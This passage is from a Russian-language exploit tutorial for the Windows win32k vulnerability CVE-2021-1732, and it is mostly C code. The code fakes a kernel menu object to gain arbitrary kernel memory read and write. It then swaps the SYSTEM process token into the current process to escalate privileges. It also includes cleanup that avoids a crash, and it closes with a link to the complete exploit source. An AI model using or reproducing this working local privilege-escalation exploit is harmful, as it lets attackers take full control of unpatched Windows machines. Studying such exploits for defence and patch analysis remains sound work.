ShowError("GetProcessHeap", GetLastError());
goto exit;
}
DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
if (!g_qwMenu)
{
bRet = FALSE;
ShowError("GetProcessHeap", GetLastError());
goto exit;
}
*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;
Установите для поддельного тега MENU значение tagWND1:
Код:
// g_hwnd [1] style adds WS_CHILD
DWORD dwStyleOffset = 0x18;
QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// Set the fake tagmenu in g_hwnd [1]
QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);
if (!qwSPMenu && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// Delete the ws_child of g_hwnd [1]
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
Теперь вы можете прочитать любой адрес, установив значение *(spMenu + 0x58):
Код:
QWORD ReadData_CVE_2021_1732(QWORD pTarAddress)
{
BYTE bValue[0x8] = { 0 };
RECT Rect = { 0 };
if (!GetWindowRect(g_hWnd[1], &Rect))
{
ShowError("GetWindowRect", GetLastError());
goto exit;
}
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(mbi);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;
if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi))
{
ShowError("GetMenuBarInfo", GetLastError());
goto exit;
}
*(PDWORD)bValue = mbi.rcBar.left - Rect.left;
*(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;
exit:
return *(PQWORD)bValue;
}
3. Повышение прав
Имея возможность чтения и записи любого адреса, вы можете добиться повышения привилегий, заменив Token:
Код:
BOOL EnablePrivileges_CVE_2021_1732()
{
BOOL bRet = TRUE;
CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;
QWORD qwSytemAddr = GetSystemProcess();
if (!qwSytemAddr)
{
bRet = FALSE;
goto exit;
}
// Get the address and Token of system process EPROCESS
QWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr);
QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);
// Find the EPROCESS of the current process
QWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;
do {
qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset;
qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset);
} while (qwPID != qwCurPID);
// Replacement Token
if (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken))
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
4. Восстановить данные
После завершения повышения привилегий, для предотвращения возникновения BSOD при выходе из процесса, также необходимо восстановить измененные в процессе эксплуатации уязвимости члены оконного объекта обратно к исходным данным:
Код:
// Repair data to prevent blue screens
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);
QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);
QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);
if (qwWndOffset > qwTriggerOffset)
{
printf("qwWndOffset to larger\n");
goto exit;
}
qwWndOffset = qwTriggerOffset - qwWndOffset;
DWORD dwFlagsOffset = 0xE8;
DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);
dwFlags &= ~0x800;
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);
if (!qwBuffer)
{
bRet = FALSE;
ShowError("HeapAlloc", GetLastError());
goto exit;
}
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// Increase WS_CHILD of g_hWnd[1].
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// Restore the spMenu of g_hWnd[1]
if (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
// Delete WS_CHILD from g_hWnd[1]
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
GetLastError() != 0)
{
bRet = FALSE;
ShowError("SetWindowLongPtr", GetLastError());
goto exit;
}
5. Запуск результатов
Полный код хранится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2021-1732.cpp . Скомпилируйте и запустите, чтобы успешно повысить привилегии: